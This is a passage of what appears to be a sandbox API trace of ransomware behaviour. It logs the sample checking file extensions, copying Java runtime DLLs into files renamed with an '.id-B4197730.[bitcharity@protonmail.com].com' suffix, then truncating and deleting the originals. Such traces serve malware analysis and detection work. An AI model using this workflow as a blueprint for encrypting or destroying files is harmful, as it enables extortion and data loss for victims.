(lpString1=".doc", lpString2=".dll") returned 1 [0299.195] lstrlenW (lpString=".docx") returned 5 [0299.196] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0299.196] lstrlenW (lpString=".pdf") returned 4 [0299.196] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.196] lstrlenW (lpString=".xls") returned 4 [0299.196] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.196] lstrlenW (lpString=".xlsx") returned 5 [0299.196] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0299.196] lstrlenW (lpString=".ppt") returned 4 [0299.196] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0299.196] lstrlenW (lpString=".zip") returned 4 [0299.196] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.196] lstrlenW (lpString=".rar") returned 4 [0299.196] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.196] lstrlenW (lpString=".bz2") returned 4 [0299.196] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.196] lstrlenW (lpString=".7z") returned 3 [0299.196] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0299.196] lstrlenW (lpString=".dbf") returned 4 [0299.196] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0299.196] lstrlenW (lpString=".1cd") returned 4 [0299.196] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0299.196] lstrlenW (lpString=".jpg") returned 4 [0299.196] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0299.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0299.196] lstrlenW (lpString=".doc") returned 4 [0299.196] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.196] lstrlenW (lpString=".docx") returned 5 [0299.196] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0299.196] lstrlenW (lpString=".pdf") returned 4 [0299.196] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.197] lstrlenW (lpString=".xls") returned 4 [0299.197] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.197] lstrlenW (lpString=".xlsx") returned 5 [0299.197] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0299.197] lstrlenW (lpString=".ppt") returned 4 [0299.197] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0299.197] lstrlenW (lpString=".zip") returned 4 [0299.197] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.197] lstrlenW (lpString=".rar") returned 4 [0299.197] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.197] lstrlenW (lpString=".bz2") returned 4 [0299.197] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.197] lstrlenW (lpString=".7z") returned 3 [0299.197] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0299.197] lstrlenW (lpString=".dbf") returned 4 [0299.197] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0299.197] lstrlenW (lpString=".1cd") returned 4 [0299.197] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0299.197] lstrlenW (lpString=".jpg") returned 4 [0299.197] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.197] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0299.197] lstrlenW (lpString="jfxmedia.dll") returned 12 [0299.197] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0299.198] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=139840) returned 1 [0299.198] CloseHandle (hObject=0x10b0) returned 1 [0299.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 0x20 [0299.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.198] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0299.198] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.198] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.198] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0299.199] GetLastError () returned 0x0 [0299.199] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x22240, lpOverlapped=0x0) returned 1 [0299.378] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x22250, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x22250, lpOverlapped=0x0) returned 1 [0299.381] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.381] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.381] SetEndOfFile (hFile=0x10e0) returned 1 [0299.381] CloseHandle (hObject=0x10e0) returned 1 [0299.381] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.381] SetEndOfFile (hFile=0x10b0) returned 1 [0299.383] CloseHandle (hObject=0x10b0) returned 1 [0299.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.384] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 1 [0299.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0299.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0299.384] lstrlenW (lpString=".doc") returned 4 [0299.384] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.384] lstrlenW (lpString=".docx") returned 5 [0299.384] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0299.384] lstrlenW (lpString=".pdf") returned 4 [0299.384] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.384] lstrlenW (lpString=".xls") returned 4 [0299.384] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.384] lstrlenW (lpString=".xlsx") returned 5 [0299.384] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0299.384] lstrlenW (lpString=".ppt") returned 4 [0299.384] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0299.384] lstrlenW (lpString=".zip") returned 4 [0299.384] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.384] lstrlenW (lpString=".rar") returned 4 [0299.384] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.384] lstrlenW (lpString=".bz2") returned 4 [0299.384] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.385] lstrlenW (lpString=".7z") returned 3 [0299.385] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0299.385] lstrlenW (lpString=".dbf") returned 4 [0299.385] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0299.385] lstrlenW (lpString=".1cd") returned 4 [0299.385] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0299.385] lstrlenW (lpString=".jpg") returned 4 [0299.385] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0299.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0299.385] lstrlenW (lpString=".doc") returned 4 [0299.385] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.385] lstrlenW (lpString=".docx") returned 5 [0299.385] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0299.385] lstrlenW (lpString=".pdf") returned 4 [0299.385] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.385] lstrlenW (lpString=".xls") returned 4 [0299.385] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.385] lstrlenW (lpString=".xlsx") returned 5 [0299.385] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0299.385] lstrlenW (lpString=".ppt") returned 4 [0299.385] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0299.385] lstrlenW (lpString=".zip") returned 4 [0299.385] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.385] lstrlenW (lpString=".rar") returned 4 [0299.385] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.385] lstrlenW (lpString=".bz2") returned 4 [0299.385] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.385] lstrlenW (lpString=".7z") returned 3 [0299.386] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0299.386] lstrlenW (lpString=".dbf") returned 4 [0299.386] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0299.386] lstrlenW (lpString=".1cd") returned 4 [0299.386] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0299.386] lstrlenW (lpString=".jpg") returned 4 [0299.386] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.386] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0299.386] lstrlenW (lpString="jp2native.dll") returned 13 [0299.386] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0299.386] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=20032) returned 1 [0299.387] CloseHandle (hObject=0x10b0) returned 1 [0299.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 0x20 [0299.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.387] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0299.387] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.387] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.387] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0299.387] GetLastError () returned 0x0 [0299.387] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x4e40, lpOverlapped=0x0) returned 1 [0299.516] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x4e50, lpOverlapped=0x0) returned 1 [0299.518] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.518] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xee, lpOverlapped=0x0) returned 1 [0299.518] SetEndOfFile (hFile=0x10e0) returned 1 [0299.518] CloseHandle (hObject=0x10e0) returned 1 [0299.518] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.518] SetEndOfFile (hFile=0x10b0) returned 1 [0299.519] CloseHandle (hObject=0x10b0) returned 1 [0299.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.520] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 1 [0299.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0299.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0299.520] lstrlenW (lpString=".doc") returned 4 [0299.520] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.520] lstrlenW (lpString=".docx") returned 5 [0299.520] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0299.520] lstrlenW (lpString=".pdf") returned 4 [0299.520] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.520] lstrlenW (lpString=".xls") returned 4 [0299.520] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.520] lstrlenW (lpString=".xlsx") returned 5 [0299.520] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0299.520] lstrlenW (lpString=".ppt") returned 4 [0299.520] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0299.520] lstrlenW (lpString=".zip") returned 4 [0299.521] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.521] lstrlenW (lpString=".rar") returned 4 [0299.521] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.521] lstrlenW (lpString=".bz2") returned 4 [0299.521] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.521] lstrlenW (lpString=".7z") returned 3 [0299.521] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.521] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0299.521] lstrlenW (lpString=".dbf") returned 4 [0299.521] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.521] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0299.521] lstrlenW (lpString=".1cd") returned 4 [0299.521] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.521] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0299.521] lstrlenW (lpString=".jpg") returned 4 [0299.521] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.521] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0299.521] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0299.521] lstrlenW (lpString=".doc") returned 4 [0299.521] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.521] lstrlenW (lpString=".docx") returned 5 [0299.521] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0299.521] lstrlenW (lpString=".pdf") returned 4 [0299.521] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.521] lstrlenW (lpString=".xls") returned 4 [0299.521] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.521] lstrlenW (lpString=".xlsx") returned 5 [0299.521] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0299.522] lstrlenW (lpString=".ppt") returned 4 [0299.522] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.522] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0299.522] lstrlenW (lpString=".zip") returned 4 [0299.522] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.522] lstrlenW (lpString=".rar") returned 4 [0299.522] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.522] lstrlenW (lpString=".bz2") returned 4 [0299.522] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.522] lstrlenW (lpString=".7z") returned 3 [0299.522] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.522] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0299.522] lstrlenW (lpString=".dbf") returned 4 [0299.522] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.522] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0299.522] lstrlenW (lpString=".1cd") returned 4 [0299.522] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.522] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0299.522] lstrlenW (lpString=".jpg") returned 4 [0299.522] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.522] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0299.522] lstrlenW (lpString="jpeg.dll") returned 8 [0299.522] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0299.523] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=185920) returned 1 [0299.523] CloseHandle (hObject=0x10b0) returned 1 [0299.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 0x20 [0299.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.524] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0299.524] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.524] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.524] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0299.524] GetLastError () returned 0x0 [0299.524] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x2d640, lpOverlapped=0x0) returned 1 [0299.597] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x2d650, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x2d650, lpOverlapped=0x0) returned 1 [0299.601] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.601] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xe4, lpOverlapped=0x0) returned 1 [0299.601] SetEndOfFile (hFile=0x10e0) returned 1 [0299.601] CloseHandle (hObject=0x10e0) returned 1 [0299.601] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.601] SetEndOfFile (hFile=0x10b0) returned 1 [0299.603] CloseHandle (hObject=0x10b0) returned 1 [0299.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.604] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 1 [0299.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0299.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0299.604] lstrlenW (lpString=".doc") returned 4 [0299.604] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.604] lstrlenW (lpString=".docx") returned 5 [0299.604] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0299.604] lstrlenW (lpString=".pdf") returned 4 [0299.604] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.604] lstrlenW (lpString=".xls") returned 4 [0299.604] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.604] lstrlenW (lpString=".xlsx") returned 5 [0299.604] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0299.604] lstrlenW (lpString=".ppt") returned 4 [0299.604] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0299.605] lstrlenW (lpString=".zip") returned 4 [0299.605] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.605] lstrlenW (lpString=".rar") returned 4 [0299.605] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.605] lstrlenW (lpString=".bz2") returned 4 [0299.605] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.605] lstrlenW (lpString=".7z") returned 3 [0299.605] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0299.605] lstrlenW (lpString=".dbf") returned 4 [0299.605] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0299.605] lstrlenW (lpString=".1cd") returned 4 [0299.605] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.605] lstrlenW (lpString="C:\\Program 